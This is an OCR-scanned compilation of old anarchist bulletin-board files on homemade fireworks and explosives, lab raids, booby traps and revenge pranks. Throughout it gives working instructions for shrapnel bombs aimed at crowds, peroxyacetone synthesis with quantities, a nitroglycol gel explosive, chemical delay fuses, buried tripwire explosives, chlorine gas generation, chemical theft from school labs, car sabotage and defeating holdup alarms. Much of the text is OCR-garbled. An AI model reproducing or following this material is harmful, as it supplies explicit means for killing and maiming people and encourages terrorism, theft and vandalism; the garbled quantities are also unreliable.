Blue Sparklers 






Old Pennies 


White 


Powdered Magnesium -or- 


Firestarters 




Aluminum 


Aluminum Foil 


Purple 


Potassium Permanganate 


Purple Fountains 






Treating Sewage 



213.Flrecrackers by Exodus 

A simple firecracker can be made from cardboard tubing and epoxy. The instructions are below: 



1 .Cut a small piece of cardboard tubing from the tube you are using. "Smaii" means anything less than 4 times the diameter of the tube. 

2. Set the section of tubing down on a piece of wax paper, and fill it with epoxy and the drying agent to a height of 3/4 the diameter of the 

tubing. Allow the epoxy to dry to maximum hardness, as specified on the package. 
S.When it is dry, put a small hole in the middle of the tube, and insert a desired length of fuse. 

4. Fill the tube with any type of flame-sensitive explosive. Flash powder, pyrodex, black powder, potassium picrate, lead azide, nitrocellulose, 

or any of the fast burning fuel-oxidizer mixtures will do nicely. Fill the tube almost to the top. 

5. Pack the explosive tightly in the tube with a wad of tissue paper and a pencil or other suitable ramrod. Be sure to leave enough space for 

more epoxy. 

e.Fill the remainder of the tube with the epoxy and hardener, and aiiow it to dry. 

7.For those who wish to make spectacular firecrackers, always use flash powder, mixed with a small amount of other material for colors. By 
crushing the material on a sparkler, and adding it to the flash powder, the explosion will be the same color as the sparkler. By adding small 
chunks of sparkler material, the device will throw out colored burning sparks, of the same color as the sparkler. By adding powdered iron. 



orange sparks will be produced. White sparks can be produced from magnesium shavings, or from small, LIGHTLY crumpled balls of 
aluminum foil. 

Example: Suppose I wish to make a firecracker that will explode with a red flash, and throw out white sparks. 

First, I would take a road flare, and finely powder the material inside it. Or, I could take a red sparkler, and finely powder it. 

Then, I would mix a small amount of this material with the flash powder. NOTE: FLASH POWDER MAY REACT WITH SOME MATERIALS THAT IT 
IS MIXED WITH, AND EXPLODE SPONTANEOUSLY! I would mix it in a ratio of 9 parts flash powder to 1 part of flare or sparkler material, 
and add about 15 small balls of aluminum foil I would store the material in a plastic bag overnight outside of the house, to make sure that 
the stuff doesn't react. Then, in the morning, I would test a small amount of it, and if it was satisfactory, I would put it in the firecracker. 

8.lf this type of firecracker is mounted on a rocket engine, professional to semi-professional displays can be produced. 



—SKYROCKETS— 

An impressive home made skyrocket can easily be made in the home from model rocket engines. Estes engines are recommended. 
1 .Buy an Estes Model Rocket Engine of the desired size, remembering that the power doubles with each letter. 

2.Either buy a section of body tube for model rockets that exactly fits the engine, or make a tube from several thicknesses of paper and glue. 
S.Scrape out the clay backing on the back of the engine, so that the powder Is exposed. Glue the tube to the engine, so that the tube covers at 
least half the engine. Pour a small charge of flash powder In the tube, about « an inch. 

4. By adding materials as detailed In the section on firecrackers, various types of effects can be produced. 

5. By putting Jumping Jacks or bottle rockets without the stick in the tube, spectacular displays with moving fireballs or MRV's can be produced. 
e.Finally, by mounting many home made firecrackers on the tube with the fuses in the tube, multiple colored bursts can be made. 

—ROMAN CANDLES— 

Roman candles are Impressive to watch. They are relatively difficult to make, compared to the other types of home-made fireworks, but they 

are well worth the trouble. 

1 .Buy a « inch thick model rocket body tube, and reinforce it with several layers of paper and/or masking tape. This must be done to prevent 

the tube from exploding. Cut the tube into about 10 inch lengths. 
2.Put the tube on a sheet of wax paper, and seal one end with epoxy and the drying agent. About « of an inch is sufficient. 
S.Put a hole in the tube just above the bottom layer of epoxy, and insert a desired length of water proof fuse. Make sure that the fuse fits 

tightly. 

4. Pour about 1 inch of pyrodex or gunpowder down the open end of the tube. 

5. Make a ball by powdering about two 6 inch sparklers of the desired color. Mix this powder with a small amount of flash powder and a small 

amount of pyrodex, to have a final ratio (by volume) of 60% sparkler material / 20% flash powder / 20% pyrodex. After mixing the 
powders well, add water, one drop at a time, and mixing continuously, until a damp paste is formed. 

This paste should be moldable by hand, and should retain its shape when left alone. Make a ball out of the paste that just fits into the tube. 
Allow the ball to dry. 

e.When it is dry, drop the ball down the tube. It should slide down fairly easily. Put a small wad of tissue paper in the tube, and pack it gently 

against the ball with a pencil. 

7.When ready to use, put the candle in a hole in the ground, pointed In a safe direction, light the fuse, and run. If the device works, a colored 
fireball should shoot out of the tube to a height of about 30 feet. This height can be increased by adding a slightly larger powder charge in 
step 4, or by using a slightly longer tube. 

8.lf the ball does not ignite, add slightly more pyrodex in step 5. 

9.The balls made for roman candles also function very well in rockets, producing an effect of falling colored fireballs. 



214. Suppliers II by Exodus 

Most, if not all, of the information in this publication can be obtained through a public or university library. There are also many publications that 
are put out by people who want to make money by telling other people how to make explosives at home. Adds for such appear frequently in 
paramilitary magazines and newspapers. This list is presented to show the large number of places that information and materials can be 
purchased from. It also includes fireworks companies and the like. 

COMPANY NAME AND ADDRESS WHAT COMPANY SELLS 

FULL AUTO CO. INC. EXPLOSIVE RECIPES 

PO BOX 1 881 PAPER TUBING 
MURFREESBORO, TM 37133 



UNUMfTHD 



CHEMICALS AND FUSE 



POBOX1378-SN 
HERMISTON, OR 97838 

AMERICAN FIREWORKS NEWS 
SRBOX30 

DINGMAN'S FERRY, PA 18328 

BARNETT INrTERNATIONAL INC. 

125 RUNNELS STREET 

PO BOX 226 

PORT HURON, Ml 48060 

CROSSMAN AIR GUNS 

PO BOX 22927 
ROCHESTm, NY 14692 

R. ALLEN 
PO BOX 146 

WILLOW GROVE, PA 19090 

MJ DISmiBUTING 
PO BOX 10585 
YAKIMA, WA 98909 

EXECUTIVE PROTECTION PRODUCTS INC 
31 6 CALIFORNIA AVE 
RENO, NV 89509 

BADGER FIREWORKS CO. INC 

PO BOX 1451 
JANESVILLE, Wl 53547 

NEW ENGLAND FIREWORKS CO INC 
PO BOX 3504 
STAMFORD, CT 06095 

RAINBOW TRAIL 
PO BOX 581 
EDGEMONT, PA 19028 

STONINGTON FIREWORKS INC 
4010 NEW WILSEY BAY U.25 ROAD 
RAPID RIVER, Ml 49878 

WINDY CrTY FIREWORKS INC 

PO BOX 1 1 

ROCHESTER, IN 46975 



HREWORKS NEWS MAGAZINE WITH 
SOURCES AND TECHNIQUES 

BOWS, CROSSBOWS, ARCHERY MATERIALS, 
AIR RIFLES 

AIR GUNS 

PROFESSIONAL FIREWORKS CONSTRUCTION 
BOOKS & FORMULAS 

RREWORKS FORMULAS 

TEAR GAS GRENADES, 
PROTECTION DEVICES 

CLASS "B" AND "C" FIREWORKS 

CLASS "C" FIREWORKS 

CLASS "C" FIREWORKS 

CLASS "C" AND "B" FIREWORKS 

CLASS "C" AND "B" FIREWORKS 
(GOOD PRICES!) 



BOOKS 

THE ANARCHIST COOKBOOK (highly circulated) 

THE IMPROVISED MUNITIONS MANUAL (formulas work, but put maker at risk) 

MILITARY EXPLOSIVES 

Two manuals of interest: Duponts "Blaster's Handbook", $20 manual mainly useful for rock and seismographic operations. Atlas's "Powder 
Manual" or "Manual of Rock Blasting" (I forget the title, it's in the office). This is a $60 book, well worth the cash, dealing with the above two 
topics, plus demolitions, and non-quarry blasting. 



215.Checklist for Raids on Labs by Exodus 

In the end, the serious terrorist would probably realize that if he/she wishes to make a truly useful explosive, he or she will have to steal the 
chemicals to make the explosive from a lab. A list of such chemicals in order of priority would probably resemble the following: 



LIQUIDS SOLIDS 



Nitric Acid Potassium Perchlorate 

Sulfuric Acid Potassium Clilorate 

95% Ethanol Picric Acid (usually a powder) 

Toluene Ammonium Nitrate 

Perchloric Acid Powdered Magnesium 

Hydrochloric Acid Powdered Aluminum 

Potassium Permanganate 

GASES Sulfur (flowers of) 

Hydrogen IVIercury 

Oxygen Potassium Nitrate 

Chlorine Potassium Hydroxide 

Carbon Dioxide Phosphorus 

Sodium Azide 

Lead Acetate 

Barium Nitrate 



Print this sheet out and carry it with you! Memorize it, anything. It is INVALUABLE. All of these chemicals should be carried in your school lab. 
Happy hunting. :) 



21 e.Misc Anarchy by Exodus 

Tennis ball cannons and other information from the Usenet. The Usenet is a worldwide networl^ of 1 5,000 machines and over 500,000 people- 
And growing! 

At this time (twelve years ago) most soft drinl< cans were rolled tin rather than the molded aluminum. We would cut the tops and bottoms off of 
a bunch of them and tape them together with duct tape, forming a tube of two feet or more. 

At the end we would tape a can with the bottom intact, more holes punched (with a can opener) around the top, and a small hole in the side at 
the base. We then fastened this contraption to a tripod so we could aim it reliably. Any object that came somewhat close to filling the tube was 
then placed therein. 

In the shop, we used the clock as a target and an empty plastic solder spool as ammunition, with tape over the ends of the center hole and 
sometimes filled with washers for weight. When taken to parties or picnics, we would use whatever was handy. Hot dog rolls or napkins filled 
with potato chips provided spectacular entertainment. 

Once loaded, a small amount of lighter fluid was poured into the hole in the side of the end can and allowed to vaporize for a few moments. 
The "fire control technician" would announce "Fire in the Hole" and ignite it. 

BOOM! Whoosh! The clock never worked after that! 

Our version of the potato chip cannon, originally designed around the Pringles potato chip can, was built similarly. Ours used coke cans, six 
with the top and bottom removed, and the seventh had Bottle opener holes all around one end, the top of this can was covered with a grid or 
piece of wire screening to keep the tennis ball from falling all the way to the bottom. This was spiral wrapped with at least two rolls of duct 

tape. 

A wooden shoulder rest and fonward hand grip was taped to the tube. For ignition we used lantern batteries to a model-t coil, actuated by a 
push button on the hand grip. A fresh wilson tennis ball was stuffed all the way back to the grid, and a drop or two of lighter fluid was 
dropped in one of two holes in the end. The ignition wire was poked through the other hole. 

We would then lie in ambush, waiting for something to move. When fired with the proper air/fuel mixture, a satisfying thoomp! At maximum 
range the ball would travel about 100 yards with a 450 launch angle. Closer up the ball would leave a welt on an warring opponent. When 
launched at a moving car the thud as it hit the door would generally rattle anyone inside. Luckily we never completed the one that shot golf 
balls. 

More Fun Stuff for Terrorists 
Carbide Bomb 

This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some calcium carbide. This is the stuff that is used in carbide lamps and 
can be found at nearly any hardware store. 

Take a few pieces of this stuff (it looks like gravel) and put it in a glass jar with some water. Put a lid on tightly. The carbide will react with the 
water to produce acetylene carbonate which is similar to the gas used in cutting torches. 



Eventually the glass with explode from internal pressure. If you leave a burning rag nearby, you will get a nice fireball! 



Auto Exhaust Flame Thrower 

For this one, all you need is a car, a sparl<plug, ignition wire and a switch. Install the spark plug into the last four or five inches of the tailpipe by 
drilling a hole that the plug can screw into easily. Attach the wire (this is regular insulated wire) to one side of the switch and to the spark plug. 
The other side of the switch is attached to the positive terminal on the battery. With the car running, simply hit the switch and watch the flames 
flyl!! Again be careful that no one is behind you! I have seen some of these flames go 20 feetll 

Balioons 

Balloons are fun to play with in chem lab, fill them with the gas that you get out of the taps on the lab desks, then tie up the balloon tight, and 
drop it out the window to the burnouts below, you know, the ones that are always smoking, they bve to pop balloons with lit cigarette.... get 
the picture? Good. 

217.Combo Locks II by Exodus 

First of all, let me tell you about the set-up of a lock. When the lock is locked, there is a curved piece of metal wedged inside the little notch on 
the horseshoe shaped bar (known as the shackle) that is pushed in to the lock when you lock it. 

To free this wedge, you usually have to turn the lock to the desired combination and the pressure on the wedge is released therefore letting 
the lock open. I will now tell you how to make a pick so you can open a lock without having to waste all that time turning the combination (this 
also helps when you don't know the combination to begin with). 

To bypass this hassle, simply take a thinned hairpin (file it down) or a opened out piece of a collapsing antenna (the inside diameter of the 
curved piece of metal should be the same as the diameter of the shackle- if the metal is too thick, use fine sandpaper to thin it down. 

Once you have your hair pin (make sure it's metal), take the ridged side and break it off right before it starts to make a U-turn onto the straight 
side. The curved part can now be used as a handle. Now, using a file, file down the other end until it is fairly thin. You should do this to many 
hairpins and file them so they are of different thicknesses so you can jimmy various locks. 

Look at a lock to see which side the lock opens from. If you can't tell, you will just have to try both sides. When ya find out what side it opens 
from, take the lock pick and stick the filed end into the inside of the horseshoe-shaped bar on whichever side the lock opens from. 

Now, put pressure on the handle of the lock pick (pushing down, into the crack) and pull the lock up and down. The lock will then open 
because the pick separated the wedge and the notch allowing it to open. 

Also, this technique works best on American locks. I have never picked a Master lock before because of the shape a pressure of the wedge 
but if anyone does it, let me know how long it took Also, the Master lock casing is very tight so ya can't get the shim in. 



21 S.MIsc Anarchy II by Raqner Rocker 

Many of you out there probably have fantasies of revenge against teachers, principals and other people who are just assholes. Depending on 
your level of hatred of this person I would advise that you do some of these following experiments: 

1. Pouring dishsoap into the gas tank of your enemy - many of you already know that gasoline + dishsoap (e.g. joy, palmolive, etc.) form a 
mixture cdled napalm. Now napalm is a jelly-like substance used in bombs, flame -throwers, etc. Now you can only guess what this 
mixture would do to someone's fuel lineIN! 

2.Spreading dirty motor oil/castor oil on someone's exhaust pipe - when the exhaust pipe heats up (and it willll) the motor oil or castor oil on the 
pipe will cause thick, disgusting smoke to ooze forth from the back of that car. Who knows maybe he/she might be pulled over and given a 

ticket!! 

S.Light Bulb Bomb 

4.Simple smoke/stink bomb - you can purchase sulfur at a drugstore under the name flowers of sulfur. Now when sulfur burns it will give off a 
very strong odor and plenty of smoke. Now all you need is a fuse from a firecracker, a tin can, and the sulfur. Fill the can with sulfur 
(pack very lightly), put aluminum foil over the top of the can, poke a small hole into the foil, insert the wick, and light it and get out of the 
room if you value your lungs. You can find many uses for this or at least I hope so. 

FUN WITH ALARMS 

A fact I forgot to mention in my previous alarm articles is that one can also use polyurethane foam in a can to silence horns and bells. You can 
purchase this at any hardware store as insulation. It is easy to handle and dries faster. 

Many people that travel carry a pocket alarm with them. This alarm is a small device that is hung around the door knob, and when someone 
touches the knob his body capacitance sets off the alarm. These nasty nuisances can be found by walking down the halls of a hotel and 



touching all the door knobs very quickly, if you happen to chance upon one, attach a 3' length of wire or other metal object to the knob. This will 
cause the sleeping business pig inside to think someone is breaking in and call room service for help. All sorts of fun and games will ensue. 

Some higfvsecurity installations use keypads just like touch-tone pads (a registered trade mark of bell systems) to open locks or disarm alarms. 
Most use three or four digits. To figure out the code, wipe the key-pad free from all fingerprints by using a rag soaked in rubbing alcohol. After 
the keypad has been used just apply finger print dust and all four digits will be marked, now all you have to do is figure out the order. If you 

want to have some fun with a keypad, try pressing the * and # at the same time. Many units use this as a panic button. This will bring the 
owner and the cops running and ever-one will have a good time. Never try to remove these panels from the wall, as they have built-in tamper 
switches. 

On the subject of holdups, most places (including supermarkets, liquor stores, etc.) have what is known as a money clip. These little nasties 
are placed at the bottom of a money drawer and when the last few bills are wittvdrawn a switch closes and sets the alarm off. That's why 
when you make your withdrawal it's best to help yourself so you can check for these little nasties. If you find them, merely insert ones 
underneath the pile of twenties, and then pull out the twenties, leaving the one-dollar bill behind to prevent the circuit from closing. 

SOFT DRINK CAN BOMB 
AN ARTICLE FROM THE BOOK: 
THE POOR MAN'S JAMES BOND BY KURT SAXON 

This is an anti-personnel bomb meant for milling crowds. The bottom of a soft drink can is half cut out and bent back. A giant firecracker or 
other explosive is put in and surrounded with nuts and bolts or rocks. The fuse is then armed with a chemical delay in a plastic drinking straw. 

After first making sure there are no children nearby, the acid or glycerine is put into the straw and the can is set down by a tree or wall where 
it will not be knocked over. The delay should give you three to five minutes. It will then have a shattering effect on passersby. 

It is hardly likely that anyone would pick up and drink from someone else's soft drink can. but if such a crude person should try to drink from 
your bomb he would break a nasty habit fast! 
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Pyro Book II 
by Capt Hack and Grey Wolf 

TIME DELAYED CHEMICAL FUSE 

1 .Put 1 teaspoon full of potassium permanganate in a tin can. 

2. Add a few drops of glycerine. 

3. Wait 3-4 min. 

4. Get the hell out. The stuff will smoke, then burst into flames. 

Potassium permanganate stains like iodine but worse [it's purple]. The reaction will spatter a bit so it can be messy and it doesn't matter if the 

annunts are uneven [i.e. 1 part to 3 parts] 

EXPLOSIVES AND INCENDIARIES by THE RESEARCHER 
INTRODUCTION: 

The trouble with text books on chemistry and explosives is the attitude with which they are written. They don't say, "Now I know you would 
like to blow holy hell out of something just for the fun of it so here is how to whip up something in your kitchen to do it". They tell you how 
Dupont does it or how the ancient Chinese did it but not how you can do it with the resources and materials available to you. 



Even army manuals on field expedient explosives are almost useless because they are just outlines written with the understanding that an 
instructor is going to fill in the blanks. It is a fun game to search out the materials that can be put together to make something go "boom". You 
can find what you need in grocery stores, hardware stores, and farm supplies. An interesting point to remember is that it is much easier to 
make a big e explosion than a small one. It is very difficult for a home experimenter to make a firecracker, but a bomb capable of blowing the 
walls out of a building is easy. 

HOW TO MAKE ROCKET FUEL 

This is easy to make and fun to play with. Mix equal parts by volume Potassium or Sodium Nitrate and granulated sugar. Pour a big spoonful of 
this into a pile. Stick a piece of blackmatch fuse into it; light; and step back. This is also a very hot incendiary. A little imagination will suggest a 

lot of experiments for this. 

ANOTHER ROCKET FUEL 

Mix equal parts by volume of zinc dust and sulfur. Watch out if you experiment with this. It goes off in a sudden flash. It is not a powerful 
explosive, but is violent stuff even when not confined because of its fast burning rate. 

As I continue from this point some of the ingredients are going to be harder to get without going through a chemical supply. I try to avoid this. I 
happen to know that B. Prieser Scientific (local to my area) has been instructed by the police to send them the names of anyone buying 
chemicals in certain combinations. For example, if a person were to buy Sulfuric acid. Nitric acid and Toluene (the makings for TNT) in one 
order the police would be notified. I will do the best I can to tell you how to make the things you need from commonly available materials, but I 
don't want to leave out something really good because you might have to scrounge for an ingredient. I am guessing you would prefer it that 
way. 

HOW TO MAKE AN EXPLOSIVE FROM COMMON MATCHES 

Pinch the head near the bottom with a pair of wire cutters to break it up; then use the edges of the cutters to scrape off the loose material. It 
gets easy with practice. You can do this while watching TV and collect enough for a bomb without dying of boredom. 

Once you have a good batch of it, you can load it into a pipe instead of black powder. Be careful not to get any in the threads, and wipe off 
any that gets on the end of the pipe. Never try to use this stuff for rocket fuel. A science teacher was killed that way. 

Just for fun while I'm on the subject of matches, did you know that you can strike a safety match on a window pane? Hold a paper match 
between your thumb and first finger. With your second finger, press the head firmly against a large window. Very quickly, rub the match down 
the pane about 2 feet while maintaining the pressure. The friction will generate enough heat to light the match. 

Another fun trick is the match rocket. Tightly wrap the top half of a paper match with foil. Set it in the top of a pop bottle at a 45 oangle. Hold a 
lighted match under the head until it ignites. If you got it right, the match will zip up and hit the ceiling. 

I just remembered the match guns I used to make when I was a kid. These are made from a bicycle spoke. At one end of the spoke is a piece 
that screws off. Take it off and screw it on backwards. You now have a piece of stiff wire with a small hollow tube on one end. Pack the 
material from a couple of wooden safety matches into the tube. Force the stem of a match into the hole. It should fit very tightly. Hold a lighted 
match under the tube until it gets hot enough to ignite the powder. It goes off with a bang. 

HOW TO MAKE CONCENTTFiATED SULFURIC ACID FROM BATTERY ACID 

Go to an auto supply store and ask for "a small battery acid". This should only cost a few dollars. What you will get is about a gallon of dilute 
sulfuric acid. Put a pint of this into a heat resistant glass container. The glass pitchers used for making coffee are perfect. Do not use a metal 
container. 

Use an extension cord to set up a hotplate out doors. Boil the acid until white fumes appear. As soon as you see the white fumes, turn off the 
hot plate and let the acid cool. Pour the now concentrated acid into a glass container. The container must have a glass stopper or plastic cap -- 
no metal. It must be air tight. Othenwise, the acid will quickly absorb moisture from the air and become diluted. Want to know how to make a time 
bomb that doesn't tick and has no wires or batteries? Hold on to your acid and follow me into the next installment. 

HOW TO MAKE A CHEMICAL TIME DELAY FUSE: 

To get an understanding of how this is going to work, mix up equal parts by volume Potassium chlorate and granulated sugar. Pour a spoonful 
of the mixture in a small pile and make a depression in the top with the end of a spoon. Using a medicine dropper, place one drop of 
concentrated sulfuric acid in the depression and step back. 

It will snap and crackle a few times and then burst into vigorous flames. To make the fuse, cut about 2 inches off a plastic drinking straw. 
Tamp a small piece of cotton h one end. On top of this put about an inch of the clorate/sugar mixture. 

Now lightly tamp in about a quarter inch of either glass wool or asbestos fibers. Secure this with the open end up and drop in 3 or 4 drops of 
sulfuric acid. After a few minutes the acid will soak through the fibers and ignite the mixture. 

The time delay can be controlled by the amount of fiber used and by varying how tightly it is packed. Don't use cotton for this. The acid will 
react with cotton and become weakened in the process. By punching a hole in the side of the straw, a piece of blackmatch or other fuse can 
be inserted and used to set off the device of your choice. 



Potassium chlorate was very popular with the radical underground. It can be used to make a wide variety of explosives and Incendiaries, some 
of them extremely dangerous to handle. The radicals lost several people that way. But, don't worry. I am not going to try to protect you from 
yourself. I have decided to tell all. I will have more to say about Potassium chlorate, but for now, let's look at a couple of interesting electric 
fuses. 

PEROXYACETONE 

PEROXYACETONE IS EXTREMELY FLAMMABLE AND HAS BEEN REPORTED TO BE SHOCK SENSITIVE 

MATERIALS: 

• 4 mL Acetone 

• 4 mL 30% Hydrogen Peroxide 

• 4 drops Cone. Hydrochloric Acid 

• 150 mm Test Tube 

Add 4 mL acetone and 4 mL hydrogen peroxide to the test tube. Then add 4 drops concentrated hydrochloric acid. In 10-20 minutes a white 
solid should begin to appear. If no change is observed, warm the test tube in a water bath at 40i3C. Allow the reaction to continue for two 
hours. Swirl the slurry and filter it. Leave out on filter paper to dry for at least two hours. To Ignite, light a candle tied to a meter stick and light it 
(while staying at least a meter away). 

I would like to give credit to a book by shakashari entitled "Chemical demonstrations" for a few of the precise amounts of chemicals in some 
experiments. 

THE CHEMISTS CORNER #2: 
HOUSEHOLD CHEMICALS, BYZAPHOD BEEBLEBROX/MPG 
This article deals with instructions on how to do some Interesting experiments with common household chemicals. Some may or may network 
depending on the concentration of certain chemicals in different areas and brands. I would suggest that the person doing these experiments 
have some knowledge of chemistry, especially for the more dangerous experiments. 

I am not responsible for any Injury or damage caused by people using this information. It is provided for use by people knowledgeable In 
chemistry who are interested In such experiments and can safely handle SLCh experiments. 

I. A UST OF HOUSEHOLD CHEMICALS AND THEIR COMPOSfTION 

VINEGAR: 3-5% ACETIC ACID BAKING SODA: SODIUM BICARBONATE 

DRAIN CLEANERS: SODIUM HYDROXIDE SANI- FLUSH: 75% SODIUM BISULFATE 

AMMONIA WATER: AMMONIUM HYDROXIDE CfTRUS FRUfT: CfTTilC ACID 

TABLE SALT: SODIUM CHLORIDE SUGAR: SUCROSE 

MILK OF MAGNESIA: MAGNESIUM HYDROXIDE TINCTURE OF DDINE: 4% DDINE 

RUBBING ALCOHOL: 70% OR 99% (DEPENDS ON BRAND) ISOPROPYL ALCOHOL (DO NOT DRINKI) 

GENERATING CHLORINE GAS 
This is slightly more dangerous than the other two experiments, so you should know what you're doing before you try this... 

Ever wonder why ammonia bottles always say 'do not mix with chlorine bleach', and visa-versa? That's because If you mix ammonia water 
with Ajax or something like It, It will give off chlorine gas. To capture It, get a large bottle and put Ajax In the bottom. Then pour some ammonia 
down Into the bottle. Since the chlorine is heavier than air. It will stay down in there unless you use large amounts of either Ajax or ammonia 
(don'tl). 

CHLORINE + TURPENTINE 

Take a small cloth or rag and soak It in turpentine. Quickly drop it into the bottle of chlorine. It should give off a lot of black smoke and probably 
start burning... 

GENERATING HYDROGEN GAS 

To generate hydrogen, all you need Is an acid and a metal that will react with that acid. Try vinegar (acetic acid) with zinc, aluminum, 
magnesium, etc. You can collect hydrogen in something if you note that it Is lighter than air.... light a small amount and it burns with a small 
*pop*. 

Another way of creating hydrogen is by the electrolysis of water. This Involve separating water (H20) into hydrogen and oxygen by an 
electric current. To do this, you need a 6-1 2 volt battery (or a DC transformer), two test tubes, a large bowl, two carbon electrodes (take them 
out of an unworking 6-12 volt battery), and table salt. Dissolve the salt In a large bowl full of water. Submerge the two test tubes in the water 
and put the electrodes inside them, with the mouth of the tube aiming down. Connect the battery to some wire going down to the electrodes. 



This will work for a while, but chlorine will be generated along with the oxygen which will corrode your copper wires leading to the carbon 
electrodes... (the table salt is broken up into chlorine and sodium ions, the chlorine comes off as a gas with oxygen while sodium reacts with 
the water to form sodium hydroxide....), therefore, if you can get your hands on some sulfuric acid, use it instead, it will not ^fect the 
reaction other than making the water conduct electricity. 

WARNING: 

DO NOT use a transformer that outputs AC current! Not only is AC inherently more dangerous than DC, it also produces both Hydrogen and 
Oxygen at each electrode. 

HYDROGEN + CHLORINE 

Take the test tube of hydrogen and cover the mouth with your thumb. Keep it inverted, and bring it near the bottle of chlorine (not one that has 
reacted with turpentine). Say "good-bye test tube", and drop it into the bottle. The hydrogen and chlorine should react and possibly explode 
(depending on purity and amount of each gas). An interesting thing about this is they will not react if it is dark and no heat or other energy is 
around. When a light is turned on, enough energy is present to cause them to react... 

PREPARA TION OF OXYGEN 

Get some hydrogen peroxide (from a drug store) and manganese dioxide (from a battery^ it's a black powder). Mix the two in a bottle, and they 
give off oxygen. If the bottle is stoppered, pressure will build up and shoot it off. 

Try lighting a wood splint and sticking it (when only glowing) into the bottle. The oxygen will make it burst into flame. The oxygen will allow 
things to burn better... 

IODINE 

Tincture of iodine contains mainly alcohol and a little iodine. To separate them, put the tincture of iodine in a metal lid to a bottle and heat it over a 
candle. Have a stand holding another metal lid directly over the tincture (about 46 inches above it) with ice on top of it. The alcohol should 
evaporate, and the iodine should sublime, but should reform iodine crystals on the cold metal lid directly above. If this works (I haven't tried), 

you can use the iodine along with household ammonia to form nitrogen triiodide. 

I have found that Pool Chlorine tablets with strong household ammonia react to produce LOTS of chlorine gas and heat... also mixing the tablets 
with rubbing alcohol produces heat, a different (and highly flammable) gas, and possibly some sort of acid (it eats away at just about anything 
it touches) 

TRIPWIRES 

by The Mortician 

Well first of all I recommend that you read the file on my board about landmines... If you can't then here is the concept. 

You can use an m-80,h-100, blockbuster or any other type of explosive that will light with a fuse. Now the way this works is if you have a 9 
volt battery, get either a solar igniter (preferably) or some steel wool you can create a remote ignition system. What you do it set up a 
schematic like this. 

>+ battery 

steel II -> battery 
wool II / 
:==:— <--fuse \ 

II / 

— - spst switch-\ 

So when the switch is on the currnet will flow through the steel wool or igniter and heat up causing the fuse to light. Note: For use with steel 
wool try it first and get a really thin piece of wire and pump the current through it to make sure it will heat up to light the explosive. 

Now the thing to do is plant your explosive wherever you want it to be, bury it and cover the wires. Now take a fishing line (about 20 lb. test) 
and tie one end to a secure object. Have your switch secured to something and make a loop on the other end on the line. Put the loop around 
the switch such that when pulled it will pull the switch and set off the explosive. 

To ignite the explosive... The thing to do is to experiment with this and find your best method... Let me know on any good kills, or new 
techniques... On my board... (201)376-4462 

BOOBY TRAP TRIP WIRES 

BY Viad Tepes (of Ctiicago C64 fame) 
Here is a method for constructing boobytraps which I personally invented, and which I have found to work better than any other type of 
release booby trap. 

There are many possible variations on this design, but the basic premise remains the same. What you'll need: 



• 3-4 nails each 2 inches long and soft enough to bend easily (galvanized iron works well) 

• 6 feet of wire or fishing line 

• 5-15 feet of strong string or rope 

• 1 really sick mind. 

Hammer two of the nails into the trunk of a tree (about one inch apart) so they form a horizontal line. They should be angled slightly upward, 
about 300 

Bend each nail Downward about one inch out from the trunk. Take your nefarious device (say a small rock suspended in a tree) and rig a rope 
or string so the line comes DOWN towards the two nails. Tie a loop in the string so the loop *just* reaches between the two nails, and pass a 
third nail between the two nails with the loop around this nail between the two others (see diagrams) 

bent nails 



/ II slight upward tension 

#A II 

#/ @ II @ ( @ are the two nails, head on) 

# ...... U..()...... 

# trip wire 
\ / 

Trunk third nail 



Now tie one end of the fishing line to the head of the third nail, and the other end around another tree or to a nail (in another tree, a root or a 
stump etc). 

When somebody pulls on the trip wire, the nail will be pulled out and your sick creation will be released to do it's damage (try tying it to a firing 
pin). 

There are several possible variations. More than one trip wire can be attached to the same nail, or this device can be used to arm a second trip 
wire. Large wire staples or hook and eye loops can be used to replace the two bent nails. 

A more interesting variation uses a straight piece of metal rod with a hole at each end, or with a short wire loop welded to each end. One end 
is attached to the tripwire, the other is attached to a spring. 

II 

*A/\/V\A-===()======= * 

SPRING BOLT Tripwire 

With this design the loop will be released if the tripwire is pulled or if it is broken. The spring should be under moderate tension and well oiled. 

Improvised Explosives 
Written by: The Lich 

Gelatin Explosive from Anti-Freeze 

CAUTION: THIS FORMULA ASSUMES THAT THE MAKER HAS NO QUALMS ABOUT KILLING HISWER SELF IN THE PROCESS. 

This explosive is almost the same as the nitre -gelatin plastique explosive except that it is supple and pliabie to -1 OiaC to -20eC 

Antifreeze is easier to obtain than glycerine and is usually cheaper. It needs to be freed of water before the manufacture and this can be done 
by treating it with calcium chloride until a specific gravity of 1 .12 at OeC or 1 .1 1 at 2O0C is obtained. 

This can be done by adding calcium chloride to the antifreeze and checking with a hydrometer and continue to add calcium chloride until the 

proper reading is obtained. The antifreeze is then filtered to remove the calcium chloride from the liquid. This explosive is superior to nitro- 
gelatin in that it is easier to collidon the IMR smokeless powder into the explosive and that the 50/50 ether ethyl alcohol can be done away with. 
It is superior in that the formation of the collidon is done very rapidly by the nitroethelene glycol. 

It's detonation properties are practically the same as the nitro-gelatine. Like the nitro-gelatine it is highly flammable and if caught on fire the 
chances are good that the flame will progress to detonation. In this explosive as in nitro-gelatine the addition of 1 % sodium carbonate is a good 
idea to reduce the chance of residual acid being present in the final explosive. The following is a slightly different formula than nitro-gelatine: 

Nitro-glycol 75% Guncotton (IMR) 6% Potassium Nitrate 14% Flour 5% 

In this process the 50/50 step is omitted. Mix the potassium nitrate with the nitro-glycol. Remember that this nitro-glycol is just as sensitive to 
shock as is nitroglycerin. 



The next step is to mix in the baking flour and sodium carbonate. IVlix these by kneading with gloved hands until the mixture is uniform. This 
kneading should be done gently and slowly. The mixture should be uniform when the IMR smokeless powder is added. Again this is kneaded to 
uniformity. Use this explosive as soon as possible. 

If it must be stored, store in a cool, dry place (0-1 OaC). This explosive should detonate at 7600-7800 m/sec. These two explosives are very 
powerful and should be sensitive to a #6 blasting cap or equivalent. 

These explosives are dangerous and should not be made unless the manufacturer has had experience with this type compound. The foolish 
and ignorant may as well forget these explosives as they won't live to get to use them. 

Don't get me wrong, these explosives have been manufactured for years with an amazing record of safety. Millions of tons of nitroglycerine 
have been made and used to manufacture dynamite and explosives of this nature with very few mishaps. 

Nitroglycerin and nitroglycol will kill and their main victims are the stupid and foolhardy. Before manufacturing these explosives take a drop of 
nitroglycerin and soak into a small piece of filter paper and place it on an anvil. 

Hit this drop with a hammer and don't put any more on the anvil. See what I mean! This explosive compound is not to be taken lightly. If there are 
any doubts DON'T. 

Improvised Explosives Plastique Explosive from Aspirin 

